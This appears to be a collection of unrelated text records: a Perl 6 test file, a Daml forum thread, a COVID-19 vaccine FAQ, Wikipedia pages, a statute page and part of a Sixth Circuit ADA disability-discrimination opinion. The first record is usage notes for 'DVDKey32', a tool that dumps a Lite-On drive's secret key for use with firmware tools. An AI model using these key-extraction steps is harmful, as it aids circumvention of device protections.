USAGE:
------------------------
DVDKey32 command_base com_port
[command_base: base register of ATA command block in hex (e.g. 1F0 or 170)]
[legacy mode sata: command base = i/o from msinfo32]
[com_port 1 to 9]
1.) If you have not already done so, install the drive. Double click the PortIO32.exe
2.) Connect the Lite-On drive to your computer powered off with its try half open
3.) Once connected to your computer, power on the drive
4.) Open command prompt in the DVDKey32 directory and Type: DVDKey32 xxxx y
(where xxxx is the command base register, Y is the com port)
The app will dump Inquiry String to Inquiry.bin, Drive Key to Key.bin and Identify string to Identify.bin
ver 0.6 -- will dump dummy.bin for working with firmtool 1.3
NOTE:
------------------------
Podger - the 32 bit code
Geremia - initial concept
C4eva - the CDB's and how to send them
Seventhson - for the userspace parallel ATA driver | ESSENTIALAI-STEM |
User:Blue Hoopy Frood/Essays/Reflections of a sojourner
I've been a casual user of Wikipedia for a long time, but I've never attempted anything of consequence until a few days ago. It's been an eye-opener.
Short version: Don't get involved unless you enjoy being abused.
To read the five pillars, and particularly the code of conduct, the Wikipedia community sounds like a utopia. However, a utopia can only remain unspoiled until the people arrive.
When I happened across the first example of an obviously biased, exaggerated statement of consensus, I didn't give it much thought. I just pointed out the obvious error on the talk page (politely, I think), and went back to what I was doing. I didn't really think anyone would do anything about it, and I didn't particularly care.
Then I came across another such example. Wondering if I had stumbled on a systematic bias, I dug into Wikipedia policy a bit. I found WP:CIVIL. I found WP:NPOV. I even found templates that said exactly what needed to be said. I had never witnessed antisocial behavior on Wikipedia, and figured, what would be the harm in being a good netizen? What's the worst that could happen, in an environment with such lofty ideals?
On the fourth or fifth such occasion, I actually made a small but significant edit, which in retrospect is probably what triggered the storm. I was startled to find my changes instantly reverted, with no explanation, even though I had carefully explained the reasons for my actions in the talk page. Attempts to resolve the dispute led only to open hostility. Soon I was being hounded across article and talk space, with all of my edits (npov-inline and failed verification tags) summarily reverted. Even my attempt to hold an WP:NPOVN discussion was bombed with long pasted blocks of irrelevant rants. If that weren't enough, I discovered my user talk page had been vandalized with unfocused rants, baseless user warnings, and even what purported to be an administrator judgment against me.
I've participated in numerous online forums, and knew that my efforts might be met with hostility, but I've never seen anything like this. On Facebook, for instance, I've been hounded and slandered in user forums, but never on my personal home page.
I was so perturbed that I literally lay awake at night dwelling on it. That was enough to convince me it's been fun, but it's time to bring the experiment to a close. I'm sure the abuse will continue, perhaps even escalate; but the beauty of it is, I don't have to read it. At worst, I drop this account, no major loss.
I am equal parts appalled and amused. Some utopia! | WIKI |
Vaccines for Pregnant Women | The Center for Children and Women
COVID-19 Vaccine
COVID-19 Vaccine
What you need to know.
Vaccines for Pregnant Women
At The Center for Children and Women our commitment to the safety and well-being of our patients remains our top priority, especially during this critical time. We are proud to be your choice for care and thank you for being part of our Texas Children’s family.
Schedule now to receive the COVID-19 vaccine
Open to those 5 and older (including adults)
Texas Children’s patients who have a MyChart account do not have to schedule through the link. Instead, a COVID-19 vaccine appointment reminder will be available in the “Health Maintenance” section of their account.
At this time, the Pfizer vaccine is approved for those 5 and older. The Moderna and Johnson & Johnson vaccines are approved for those 18 and older.
Pfizer and Moderna booster shots are available for individuals who are fully vaccinated and five months have passed since receiving a second dose.
Please see below for a list of frequently asked questions and resources. It’s important to note that information about COVID-19 changes rapidly and this page will be updated with the latest information as it becomes available.
How can I receive the vaccine?
What should pregnant women consider when considering the COVID-19 vaccine?
Current observations available suggest no significant differences in post-vaccination reactions in pregnant versus non-pregnant women. It appears that COVID-19 mRNA vaccines (Pfizer and Moderna) induce similar immunity in pregnant and breastfeeding women as in the non-pregnant population. We do not have similar studies yet for the Johnson & Johnson vaccine. Although more research is needed, these studies show promising evidence of potential passive immunity against the COVID-19 virus in newborns, either through placental transfer or breastfeeding after the mother receives the COVID-19 mRNA vaccine.
Can those who are pregnant receive the COVID-19 vaccine?
The decision to receive the COVID-19 vaccine should be made with your provider about not only the vaccines risks and benefits, but your risk of getting moderate or severe disease if you were to remain unvaccinated and get infected with the virus. Recently, the American College of Obstetrician Gynecologists (ACOG) also updated its practice advisory to aid patients in evaluating the benefits and potential risks of the vaccines.
Since the offering of COVID-19 vaccines began in the U.S., the CDC V-SAFE app has reported that as of April 5, 2021 nearly 78,000 pregnant women have received a COVID-19 vaccine. To date, no safety signals as compared to non-pregnant people have been reported.
Does the COVID-19 vaccine affect fertility?
No. COVID-19 vaccines do not contain live virus, so the American Society for Reproductive Medicine says the vaccine is not thought to cause an increased risk of infertility, miscarriage, stillbirth or birth defects.
Misleading information on social media suggests the vaccine could cause an immune response to a spike protein on the COVID-19 virus’ surface, and this immune response could also attack similar proteins that make up the placenta. This incorrect information leads people to think this decreases fertility in women. Experts say the coronavirus spike and placental protein have almost nothing in common, making the vaccine very unlikely to trigger a reaction.
There is no evidence that mRNA vaccines, including the COVID-19 vaccine, cause the body to produce proteins that attack the placenta.
Also, Moderna presented early study information that showed no poor effects in animals on female reproduction, fetal or embryonic development or postnatal development.
While it may be possible for men who have COVID-19 to experience worsening underlying cardiovascular conditions, which could increase the risk of erectile dysfunction, more research in this area is needed. Since the COVID-19 vaccine cannot make you sick with COVID-19, it cannot cause erectile dysfunction in males.
What if I am nursing? Can the virus be transmitted to my infant or toddler through the vaccine?
Because the vaccine does not contain a live virus, there is no virus to transmit with nursing.
Is there an increased miscarriage rate and/or risk?
This is unknown at this time. However, it is felt that the benefits to the vaccine outweigh any possible small and still theoretical risks. In the Pfizer trial, the only women suffering miscarriage were in the placebo group. However, the data is simply not robust enough to make any conclusions. | ESSENTIALAI-STEM |
use v6;
use Test;
# L<S03/Item assignment precedence>
plan 12;
# Tests for binding public and private instance and class attributes
# Public instance attributes
{
my $var = 42;
class Klass1 { has $.x; method bind { $.x := $var } }
my $obj1 = Klass1.new;
try { $obj1.bind() };
#?pugs 3 todo 'bug'
is $obj1.x, 42, "binding public instance attribute (1)";
$var = 23;
is $obj1.x, 23, "binding public instance attribute (2)";
$obj1.x = 19;
is $var, 19, "binding public instance attribute (3)";
}
# Private instance attributes
{
my $var = 42;
class Klass2 {
has $x;
method bind { $x := $var }
method get_x { try { $x } }
method set_x ($new_x) { try { $x = $new_x } }
}
my $obj2 = Klass2.new;
try { $obj2.bind() };
#?pugs 3 todo 'bug'
is $obj2.get_x, 42, "binding private instance attribute (1)";
$var = 23;
is $obj2.get_x, 23, "binding private instance attribute (2)";
$obj2.set_x(19);
is $var, 19, "binding private instance attribute (3)";
}
# Public class attributes
{
my $var = 42;
class Klass3 { our $.x; method bind { $.x := $var } }
try { Klass3.bind() };
#?pugs 3 todo 'bug'
is try { Klass3.x }, 42, "binding public class attribute (1)";
$var = 23;
is try { Klass3.x }, 23, "binding public class attribute (2)";
try { Klass3.x = 19 };
is $var, 19, "binding public class attribute (3)";
}
# Private class attributes
{
my $var = 42;
class Klass4 {
our $x;
method bind { $x := $var }
method get_x { $x }
method set_x ($new_x) { $x = $new_x }
}
try { Klass4.bind() };
is Klass4.get_x, 42, "binding private class attribute (1)";
$var = 23;
is Klass4.get_x, 23, "binding private class attribute (2)";
Klass4.set_x(19);
is $var, 19, "binding private class attribute (3)";
}
# vim: ft=perl6 | ESSENTIALAI-STEM |
Reactive Java -> other TransactionFilter than FiltersByParty
Hello daml forum!
Using the java reactive library, I am trying to filter my calls to the daml ledger to be more efficient.
Filtering on Java side is easy, but it has come as a requirement to feed the function
.getActiveContractSetClient().getActiveContracts(
new FiltersByParty(Collections.singletonMap(this.partyName,
NoFilter.instance)),
true)
with something better than FiltersByParty to avoid retrieving too many contracts.
Is this a correct approach and actually reducing the load on the daml ledger? If yes:
Checking the documentation ( TransactionFilter (daml.com)), it seems FiltersByParty (daml.com) is the only implemented solution.
How would one implement a new TransactionFilter or where could I have a look at the FiltersByParty code to make my Implementation?
Thank you,
Kind regards,
Simon
The only dimension across which the Ledger API allows you to filter are template and party. The Ledger API has relatively light querying capabilities in order to have predictable and steady performance when serving a very disparate array of contracts.
FiltersByParty is basically an idiomatic version for the Java bindings of this kind of filtering which is offered natively from the Ledger API, it’s not possible to have some kind of different implementation that could offer richer querying capabilities since those are not provided by the Ledger API.
If you want to enable more fine grained and efficient querying for specific fields of a contract the solution is to usually store the contracts for a given template in a separate data store that acts as some sort of read replica of the ledger and has rich query capabilities that match your application’s requirements.
Thank you for your quick answer.
Would you know the “filter by template” equivalent using java bindings?
I currently do that filtering post-query, so combining it with the request would already be an improvement.
FiltersByParty wraps a map from party names (as Strings) to the filters to be applied for that party, with the only implementations of those being InclusiveFilter, which is itself a wrapper for a Set of template Identifiers that will be retrieved for that party. For example, you can specify a filter that allows you to retrieve all the Foos for Alice and all the Foos and Bars for Bob (provided you have the necessary authorization to readAs those parties).
1 Like | ESSENTIALAI-STEM |
Page:United States Statutes at Large Volume 121.djvu/1533
121 STAT. 1512
dkrause on GSDDPC44 with PUBLAW
Deadline.
VerDate Aug 31 2005
07:12 Jan 26, 2009
PUBLIC LAW 110–140—DEC. 19, 2007
‘‘(3) MEDIUM- OR HEAVY-DUTY ELECTRIC VEHICLE.—The term ‘medium- or heavy-duty electric vehicle’ means an electric, hybrid electric, or plug-in hybrid electric vehicle with a gross vehicle weight of more than 8,501 pounds. ‘‘(4) NEIGHBORHOOD ELECTRIC VEHICLE.—The term ‘neighborhood electric vehicle’ means a 4-wheeled on-road or nonroad vehicle that— ‘‘(A) has a top attainable speed in 1 mile of more than 20 mph and not more than 25 mph on a paved level surface; and ‘‘(B) is propelled by an electric motor and on-board, rechargeable energy storage system that is rechargeable using an off-board source of electricity. ‘‘(5) PLUG-IN ELECTRIC DRIVE VEHICLE.—The term ‘plugin electric drive vehicle’ means a vehicle that— ‘‘(A) draws motive power from a battery with a capacity of at least 4 kilowatt-hours; ‘‘(B) can be recharged from an external source of electricity for motive power; and ‘‘(C) is a light-, medium-, or heavy duty motor vehicle or nonroad vehicle (as those terms are defined in section 216 of the Clean Air Act (42 U.S.C. 7550)).’’; (3) in subsection (b) (as redesignated by paragraph (1))— (A) by striking ‘‘The Secretary’’ and inserting the following: ‘‘(1) ALLOCATION.—The Secretary’’; and (B) by adding at the end the following: ‘‘(2) ELECTRIC VEHICLES.—Not later than January 31, 2009, the Secretary shall— ‘‘(A) allocate credit in an amount to be determined by the Secretary for— ‘‘(i) acquisition of— ‘‘(I) a hybrid electric vehicle; ‘‘(II) a plug-in electric drive vehicle; ‘‘(III) a fuel cell electric vehicle; ‘‘(IV) a neighborhood electric vehicle; or ‘‘(V) a medium- or heavy-duty electric vehicle; and ‘‘(ii) investment in qualified alternative fuel infrastructure or nonroad equipment, as determined by the Secretary; and ‘‘(B) allocate more than 1, but not to exceed 5, credits for investment in an emerging technology relating to any vehicle described in subparagraph (A) to encourage— ‘‘(i) a reduction in petroleum demand; ‘‘(ii) technological advancement; and ‘‘(iii) a reduction in vehicle emissions.’’; (4) in subsection (c) (as redesignated by paragraph (1)), by striking ‘‘subsection (a)’’ and inserting ‘‘subsection (b)’’; and (5) by adding at the end the following: ‘‘(f) AUTHORIZATION OF APPROPRIATIONS.—There are authorized to be appropriated such sums as are necessary to carry out this section for each of fiscal years 2008 through 2013.’’.
Jkt 059194
PO 00002
Frm 00220
Fmt 6580
Sfmt 6581
M:\STATUTES\2007\59194PT2.001
APPS10
PsN: 59194PT2
� | WIKI |
Technological Educational Institute of Epirus
The Technological Educational Institute of Epirus (TEIEP; Greek: Τεχνολογικό Εκπαιδευτικό Ίδρυμα Ηπείρου) is a higher education public institute in Epirus, Greece, founded in 1994.
Its main campus and administrative centre is in Arta and departments are also located in Ioannina, Preveza and Igoumenitsa.
History
The first Schools to operate, in the academic year 1994–95, was the School of Agricultural Technology and the School of Health and Welfare Professions. The institute hosts today more than 10.000 students and it employs more than 100 members of academic and technical staff. The "ATHENA" Reform Plan restructured Higher Education programmes in 2013.
Schools and departments
The institute comprises five Schools, consisting of eight Departments.
Academic evaluation
In 2016 the external evaluation committee gave TEI of Epirus a Positive evaluation.
An external evaluation of all academic departments in Greek universities was conducted by the Hellenic Quality Assurance and Accreditation Agency (HQA). | WIKI |
Wikipedia:Articles for deletion/Granite Hotel
The result was keep. Wifione Message 06:38, 16 March 2012 (UTC)
Granite Hotel
* – ( View AfD View log )
individual episode of a cartoon series, no RS references, no notability, left talk message two months ago asking for sources/expansion, with no result. Gaijin42 (talk) 15:58, 8 March 2012 (UTC)
* keep This animated short film is notable per NOTFILM (significant involvement of several notable persons: Jack Mercer, Max Fleischer, Dave Fleischer and Adolph Zukor) --Bensin (talk) 18:09, 8 March 2012 (UTC)
* Are these people involved only in this particular episode, or the entire series? In either case, these facts would need to be backed up by WP:RS which is not the case in the article currently Gaijin42 (talk) 18:39, 8 March 2012 (UTC)
* Additionally, the actual criteria from notfilm is "The film features significant involvement (i.e. one of the most important roles in the making of the film) by a notable person and is a major part of his/her career. " and the part after the "AND" is not met in this case I think. Gaijin42 (talk) 18:52, 8 March 2012 (UTC)
* The film is notable regardless of the series. I suppose we could debate for a while what is a reliable source or not. I would argue that imdb combined with bcdb is reliable enough, unless someone knows of any reason to doubt the facts at the film's entries in this particular case. I did however also add two book sources I found. In short: This film, and I'm pretty certain I would argue that any film, from Fleischer Studios by Max and Dave Fleischer and distributed by Paramount Studios is notable. --Bensin (talk) 22:26, 8 March 2012 (UTC)
* You did not answer my original question, are the notable individuals involved in the film, only involved in this episode, or is all episodes? Similarly, are the book references you added discussing this particular short, or the series in general? IMDB and BCDB are definitively NOT RS, as determined by innumerable consensuses and discussions. In any case, being included in such sources does nothing to establish notability. You also did not address my previous statement regarding the policy you used for justification of notability, specifically the "and is a major part of his/her career" portion, which I think this case hinges upon. The default policy is WP:NOTINHERITED, so just the fact that they are involved in this film is not sufficient. I am more than willing to give the benefit o the doubt to the entire series (particularly considering your inclusion of the two book sources), but unless it can be shown that those sources are discussing this particular episode, or that all of these notable people were all special guest stars for only this episode (and other episodes did not have similar notable guest stars), then I think it is collective notability, and not notability of this particular short. Gaijin42 (talk) 22:34, 8 March 2012 (UTC)
* hrm, mixed bag in looking at the book sources. TRex is talking about this specific episode, but has a one sentence inclusion "In Granite Hotel (1940) a sauropod turns into a prehistoric firefighter's vehicle". I am unable to get inside the other book to see what its ref is, if you have access, could you illuminate us? As it is, I think the T.Rex reference fails the "In Depth" restriction of notability. Gaijin42 (talk) 22:51, 8 March 2012 (UTC)
* I don't know for certain if they were involved in only this film or all of the films in the series, but I think it's safe to say they were involved in all.
* The book references are referring to this film in particular. If you search on Google for books '"granite hotel" fleischer' you can verify the sources.
* Again, imdb combined with bcdb is reliable enough sources at least to establish that the film exists but also with some certainty who were involved in the process. If/when better sources become available they should be added to the article.
* I would classify any artistic work released by a large studio and credited to either Fleischer-brother a major part of their career.
* WP:NOTINHERITED is an essay and it clearly states at the top of the page that "Essays are not Wikipedia policies". It is nonetheless a very sound essay, but it also says "three of the notability guidelines, for books, films and music, do allow for inherited notability in certain circumstances".
* If for no other reason, I believe that
* involvement by Max and Dave Fleischer via Fleischer Studios
* voice actor Jack Mercer in a starring role
* distribution by the major studio Paramount
* combined qualifies the article for inclusion. --Bensin (talk) 01:39, 9 March 2012 (UTC)
* All of these things are reasons for the series to be notable to me, not this particular episode (with the exception of the two sources, but as stated, the one that I was able to confirm was just in passing) I think you and I are not going to be able to convince each other of our positions, ,so we will need to see if anyone else chimes in. Gaijin42 (talk) 02:18, 9 March 2012 (UTC)
* Since the argument is valid for both this short film (I avoid calling it an "episode" so as to not confuse it with an episode of a TV series) as well as the series, my position stands firm. More opinions on the matter would be welcome. --Bensin (talk) 15:13, 9 March 2012 (UTC)
* Note: This debate has been included in the list of Comics and animation-related deletion discussions. — Frankie (talk) 18:29, 9 March 2012 (UTC)
* Note: This debate has been included in the list of Film-related deletion discussions. — Frankie (talk) 18:29, 9 March 2012 (UTC)
* Weak keep — at least this topic is not of a TV series. WP:N is nothing more than a guideline, as well as other notable guidelines; per WP:V, this is truly a short film. Otherwise, strong merge to Stone Age Theatrical Cartoon Series. --George Ho (talk) 22:46, 9 March 2012 (UTC)
* I am unclear on your logic. re "otherwise merge", what is the criteria that leads to THIS otherwise THAT? Gaijin42 (talk) 15:09, 11 March 2012 (UTC)
* Keep Appears to meet guidelines.♦ Dr. Blofeld 18:10, 11 March 2012 (UTC)
| WIKI |
Douglas BAKER, Plaintiff-Appellee/Cross-Appellant, v. WINDSOR REPUBLIC DOORS, Defendant-Appellant/Cross-Appellee.
Nos. 08-6200, 09-5722, 09-6553.
United States Court of Appeals, Sixth Circuit.
March 8, 2011.
Before: DAUGHTREY, GILMAN, and McKEAGUE, Circuit Judges.
MARTHA CRAIG DAUGHTREY, Circuit Judge.
Plaintiff Douglas Baker filed suit against his employer, Windsor Republic Doors, alleging violations of the Americans with Disabilities Act (ADA or the Act), 42 U.S.C. §§ 12101-12218, the Tennessee Human Rights Act (THRA), Tenn.Code Ann. §§ 4-21-101-1004, and the Tennessee Handicap Act (THA), TenmCode Ann. §§ 8-50-103-104: Following a four-day jury trial that resulted in a verdict for the plaintiff and various post-trial rulings by the district court, the parties filed three appeals that have now been consolidated for review. In appeal number 08-6200, Windsor Republic challenges the jury’s verdict in favor of Baker on his retaliation claim, the denial of Windsor Republic’s motion for a new trial, the award of compensatory damages to Baker, the denial of the defendant’s request for attorneys’ fees, and the district court’s refusal to reduce the amount of attorneys’ fees awarded to the plaintiff. In appeal number 09-5722, Baker cross-appeals, alleging error in the district court’s post-trial determination that a plaintiff who is “regarded as” disabled is not entitled to reasonable accommodations by his employer. In appeal number 09-6553, Windsor Republic contests the district court’s grant of supplemental attorneys’ fees to Baker. Because we find no reversible error in connection with any of the issues raised in these appeals, we affirm the judgment of the district court in all respects.
FACTUAL AND PROCEDURAL BACKGROUND
In attempting to resolve the defendant’s post-trial motions for judgment as a matter of law and for a new trial, the district court expertly summarized the relevant facts that are also germane to many of the issues now before this court:
WRD [ (Windsor Republic Doors) ] manufactures hollow steel doors and metal frames. The Plaintiff has worked at WRD’s manufacturing plant in McKenzie, Tennessee since July 7, 1985. Baker most recently held the position of forklift operator, and his primary duties involved transporting doors from the assembly line to the paint line on a forklift, while traveling through aisles approximately ten to twenty feet wide. A collective bargaining agreement between WRD and the United Steelworkers of America Local Union 8915 governed the terms of Plaintiffs employment.
Baker suffered from an enlarged heart that caused dilated cardiomyopathy with symptoms of fatigue and shortness of breath. In September 2005, he took a leave of absence to have a pacemaker and defibrillator installed so as to curtail rhythm irregularities and prevent heart failure. During his leave, he received short-term disability pay for six months, but all pay and benefits ceased after that period.
On November 3, 2005, Baker submitted to WRD a medical form, which provided that, beginning January 9, 2006, he could return to work and “resume activities as tolerated.” This return-to-work slip listed no restrictions and was supported by a recommendation for work resumption by Dr. Adey Agbetoyin, Baker’s cardiologist. WRD also received a brochure issued by Medtronic, the medical technology company. that manufactured Baker’s pacemaker. This brochure, entitled “Electronic Interference and the Work Site,” stated in part: “The majority of work environments will not alter Medtronic implantable device operation!),][but] some industrial environments or equipment produce high intensity EMI [electromagnetic interference] that may present a potential risk to the implanted device.... An evaluation of the work site regarding EMI may be necessary in determining if a patient can resume work.... Medtronic Technical Service consultants are available to work with the physician and employer to determine the level of evaluation or testing needed. Some environments can be evaluated through conversations with a Technical Service Consultant and the employer. On occasion, it may be necessary to continue the evaluation by having an environmental consultant perform testing at the worksite[,] [which] should be done by qualified individuals with proper EMI testing equipment.... We can provide technical assistance to the environmental consultant or employer in interpreting test results and answering questions regarding EMI and possible device interactions.”
This document laid out EMI thresholds for the pacemaker at 5Gs [ (gausses) ]. It also stated that extremely high intensity fields could disrupt the operation of the pacemaker.
Larry Land, WRD’s director of human services, conducted what he referred to as the “accommodation review process” with regard to Baker. Land explained this as a process whereby all employees returning from medical leave had their restrictions evaluated, and WRD then determined whether the restrictions could be accommodated in the workplace. After reviewing Baker’s return-to-work slip, Land was concerned by some of the language in Medtronic’s pacemaker brochure. However, neither Land nor any other WRD employee ever called Medtronic’s technical service consultants for assistance or had an environmental test conducted by a qualified EMI expert in the workplace. Land spoke with Jason Lowery, an engineer working at WRD, but he was not qualified to determine whether the EMI at the facility might affect Baker’s pacemaker. Lowery did, however, compile a list of the voltages of the various electrical devices around the plant.
On January 4, 2006, Land sent a letter to Dr. Agbetoyin stating, “Unfortunately we cannot allow Mr. Baker to return to work until we hear from you as to whether or not his return to work would cause him physical harm,” and inquired as to whether Baker’s condition necessitated restrictions. The letter listed potential sources of EMI in the plant, including a paint booth, resistance welders, fluorescent lights, high bay lighting, and microwave ovens, along with their respective voltage measurements. Land was concerned that these devices might affect Baker’s pacemaker and perhaps cause him injury from “the slightest physical harm to death.” Land also sent Dr. Agbetoyin literature describing the Meditronic [sic] pacemaker, and inquired of the physician as to whether WRD’s manufacturing plant might create unique risks for Baker due to the presence of electronic equipment. On March 1, 2006, Land sent another letter to Dr. Agbetoyin, requesting more information about the pacemaker and stating that “[m]ost of the other jobs available [at the plant] require more physical exertion than [Baker’s] current job and all other jobs in the location will have some exposure to the electrical sources referenced above.”
In response to Land’s letters, on March 30, 2006, Dr. Agbetoyin replied by recommending that Baker return to work with restrictions, which included avoiding “contact with any electrical current or magnetic fields.” Dr. Agbetoyin also noted that the labor union, of which Baker was a member, had worked out a route where he could operate his forklift in order to avoid dangerous magnetic fields. Though not mentioned in his letter to Land, Dr. Agbetoyin later clarified that he thought Baker could also benefit from using an electromagnetic frequency alarm (“EMF alarm”), which is a device that emits an audible warning when one is in proximity to EMI. In his video deposition, Dr. Agbetoyin explained by saying:
“In my medical opinion, I felt that [Baker] should be able to-to return to work as long as he was wearing an EMF alarm, which I feel should alarm in the presence of high electromagnetic fields. In addition ... we were going to keep monitoring the device and would do ... follow-up visits to determine if there was any effect or malfunction from his daily activities.”
On April 13, 2006, Land sent Dr. Agbe-toyin a third letter that noted Baker’s duties involved frequent exposure to EMI and provided a map illustrating Baker’s driving route and locations where EMI had been detected in its facility. Land requested that Dr. Agbe-toyin personally visit its manufacturing site, but received no response from the doctor regarding that invitation.
WRD later purchased an EMF alarm and instructed one of its employees to walk through the areas where Baker’s job routinely required him to travel. Additionally, the Plaintiffs labor union attempted to design a route in which Baker could operate the forklift while avoiding magnetic fields, though apparently this “safe route” was never completed. On June 6, 2006, Land contacted Baker—over the phone and by letter—and told him that he did not consider the EMF.alarm a “reasonable accommodation” because he believed Baker would have difficulty hearing or seeing the alarm over the noise pollution in the facility. However, Land’s letter also stated that “[t]he company believe[d] that it [had] found a solution to the issue and the purpose of this letter [was] to set forth the company’s action to this point in the process and [Baker’s] alternatives in moving forward.” The “solution” offered was for Baker to waive his rights to workers’ compensation benefits arising from injury caused by heart disease, heart attack, or coronary failure or occlusion. Land indicated that further delay would result if Baker declined to waive his workers’ compensation rights because the company would be in “the state of unknown whether or not [returning to work] would cause him physical harm.” Baker did not agree to the workers’ compensation waiver because he was worried that, if he suffered a heart-related injury at work, he would have no statutory benefits and no insurance coverage.
As of the trial, WRD had not given Baker the option of returning to work without waiving his rights under Tennessee’s workers’ compensation laws. Baker has indicated to WRD that he wishes to return to work, with or without the EMF alarm, though he refuses to do so without workers’ compensation coverage. Since June 2006, Baker claims he has inquired into about fifty different positions in several surrounding counties but has yet to obtain new employment. During this period of unemployment, he has sold some personal items and borrowed money from his father, friends, and three different banks in order to avoid foreclosure on his home. Baker said that his financial situation has forced him to tears on occasion, damaged his relationship with his son and the rest of his family, and made him feel “like a burden and a bum to everybody.”
Prior to trial, WRD instructed its employee, Jack Fields, to inspect its plant with a gauss meter. Fields recorded sixteen areas where the meter registered greater than 5Gs. At one point, the meter registered 200Gs at the edge of an aisle where Baker’s forklift would routinely pass, and Fields found other exceptionally high readings around the break room and bathroom.
At the conclusion of the trial, the jury returned a verdict finding that the Plaintiff had been regarded as disabled, was a qualified individual, was not provided reasonable accommodation under the ADA or THA, and had suffered retaliation. The jury awarded him $84,000 in back pay and $29,500 in compensatory damages. The Court entered a judgment against the Defendant in the amount of $113,500, pursuant to the jury’s verdict, and ordered WRD to reinstate the Plaintiff with reasonable accommodations.
Baker v. Windsor Republic Doors, No. 1:06-cv-01137, 2009 WL 1231035, at *1-4 (W.D.Tenn. May 1, 2009) (footnotes and internal citations to the trial record omitted).
Two weeks after entry of the district court’s judgment, Windsor Republic filed a motion for entry of judgment as a matter of law, arguing that settled Sixth-Circuit law foreclosed Baker’s reasonable-accommodation claim, that the plaintiff was never “qualified” to return to work, that a medical leave-of-absence is in fact a reasonable accommodation, and that the plaintiff failed to offer sufficient evidence of retaliation for his exercise of a protected right. Even prior to receiving a ruling on the motion, however, Windsor Republic filed a notice of its appeal from that judgment.
Plaintiff Baker, relying upon his “prevailing party” status, then moved the district court for an award of attorneys’ fees and expenses, a motion that was granted three months later. In awarding Baker’s counsel $167,782.50 in fees, the magistrate judge to whom the fee motion was assigned concluded that the hourly rates for services charged by the plaintiffs three attorneys were reasonable. The magistrate judge further determined both that the documentation provided by counsel supported their contention regarding the number of hours they expended on Baker’s ease and that the submitted hourly total was reasonable. Finally, noting that Baker “prevailed on all of his claims under the ADA and THA/THRA,” that he obtained all requested relief, and that “ADA cases are notoriously difficult to win,” the magistrate judge multiplied the lodestar fee amount by a factor of 1.2 and stated “that a reasonable attorney award in this case is $167,782.50.”
Four months after the magistrate judge’s award of attorneys’ fees, the district judge filed a thorough and detailed opinion granting in part and denying in part Windsor Republic’s earlier motion pursuant to Federal Rule of Civil Procedure 50 for judgment as a matter of law. In that ruling, the court first noted that the evidence presented at trial supported the jury’s finding that the defendant company regarded Baker as disabled and “unable to perform a ‘broad class of jobs.’ ” But, the district judge concluded, in light of binding Sixth-Circuit precedent, the defendant was not required to provide reasonable accommodation for the perceived disability of an employee only “regarded as” disabled. Consequently, the court granted judgment as a matter of law to Windsor Republic on the reasonable-accommodation claim. The district judge nevertheless upheld the jury verdict in favor of Baker on the retaliation claim and the earlier conclusions that the plaintiff was entitled to both back pay and compensatory damages for such a cause of action. Correcting a computational error, however, the court reduced Baker’s back-pay award from $84,000 to $58,756.54.
Windsor Republic responded to the district court’s ruling by filing two additional motions. The first motion, pursuant to Rule 59 of the Federal Rules of Civil Procedure, sought to overturn the jury’s verdict on Baker’s retaliation claim and to reduce the award of attorneys’ fees to the plaintiffs counsel in light of the court’s ruling that the jury’s verdict on Baker’s reasonable-accommodation claim was improper. In the second motion, Windsor Republic petitioned for its own award of attorneys’ fees “based on the fact that ... Defendant is the prevailing party on Plaintiff Douglas Baker’s ... reasonable accommodation claim.” The district court denied both motions in a single order, prompting the plaintiff to seek supplemental attorneys’ fees in the amount of $27,532.50 “for the year of litigation after the trial.” The magistrate judge assigned to resolve the motion determined that the request was reasonable and thus granted the motion for supplemental fees.
Both Baker and Windsor Republic filed amended notices of appeal with the district court. In those filings, the parties—not surprisingly—challenge those portions of the numerous district-court rulings that were adverse to their respective positions.
DISCUSSION
Discrimination Claim
In one of his two claims brought before the district court, Baker argued that he was entitled to damages from his employer because Windsor Republic regarded him as disabled yet failed to provide reasonable accommodations to allow him to perform his job as a forklift operator. The jury agreed with the plaintiff, specifically finding that the defendant regarded Baker as disabled, that Baker was qualified to perform the job for which he was hired, and that Windsor Republic nevertheless failed to provide reasonable accommodation to Baker. Subsequently, however, the district court granted judgment to Windsor Republic notwithstanding the jury verdict, ruling that Sixth-Circuit case law excused an employer from the necessity of accommodating a plaintiff who was not actually disabled, but rather was only “regarded as” having a disability. Baker now challenges that determination.
At the time Baker filed his complaint with the district court, the ADA prohibited discrimination by employers like Windsor Republic “against a qualified individual with a disability because of the disability of such individual in regard to job application procedures, the hiring, advancement, or discharge of employees, employee compensation, job training, and other terms, conditions, and privileges of employment.” 42 U.S.C. § 12112(a). Consequently, in order to prevail on his ADA claim, the plaintiff was required to establish “(1) that she or he is an individual with a disability, (2) who was otherwise qualified to perform a job’s requirements, with or without reasonable accommodation; and (3) who was discriminated against solely because of the disability. The third element requires that the plaintiff suffer an adverse employment action.” Talley v. Family Dollar Stores of Ohio, Inc., 542 F.3d 1099, 1105 (6th Cir.2008) (citations and internal quotation marks omitted).
The ADA defines “disability” to mean: “(A) a physical or mental impairment that substantially limits one or more of the major life activities of such individual; (B) a record of such an impairment; or (C) being regarded as having such an impairment.” 42 U.S.C. § 12102(2). Given this definition, there should be no real dispute that Baker is “disabled” for purposes of the Act. Yet, Windsor Republic continues to insist that the plaintiff does not satisfy the standard required to establish the first of the three prongs of an ADA claim. The jury’s verdict form stated unequivocally, however, that the jury determined that Windsor Republic “regarded Plaintiff as ‘disabled’”; consequently, only that one subsection of the definition of “disability” is applicable to this court’s deliberative process on appeal.
The regarded-as-disabled prong of the ADA comes into play when an employee is “ ‘perfectly able’ to perform a job, but [is] ‘rejected ... because of the “myths, fears and stereotypes” associated with disabilities.’ ” Gruener v. Ohio Cas. Ins. Co., 510 F.3d 661, 664 (6th Cir.2008) (citing Ross v. Campbell Soup Co., 237 F.3d 701, 706 (6th Cir.2001)). Thus, the concept is applicable when “(1) [an employer] mistakenly believes that [an employee] has a physical impairment that substantially limits one or more major life activities, or (2) [an employer] mistakenly believes that an actual, nonlimiting impairment substantially limits one or more [of an employee’s] major life activities.” Sutton v. United Air Lines, Inc., 527 U.S. 471, 489, 119 S.Ct. 2139, 144 L.Ed.2d 450 (1999), abrogated by statute, ADA Amendments Act of 2008, Pub.L. 110-325, 122 Stat. 3553, on other grounds. Through regulation, the Equal Employment Opportunity Commission (EEOC) has defined “regarded as having such an impairment” as a situation in which an employee:
(1) Has a physical or mental impairment that does not substantially limit major life activities but is treated by a covered entity as constituting such limitation;
(2) Has a physical or mental impairment that substantially limits major life activities only as a result of the attitudes of others toward such impairment; or
(3) Has none of the impairments defined [elsewhere in the regulation] but is treated by a covered entity as having a substantially limiting impairment.
29C.F.R. § 1630.2(l).
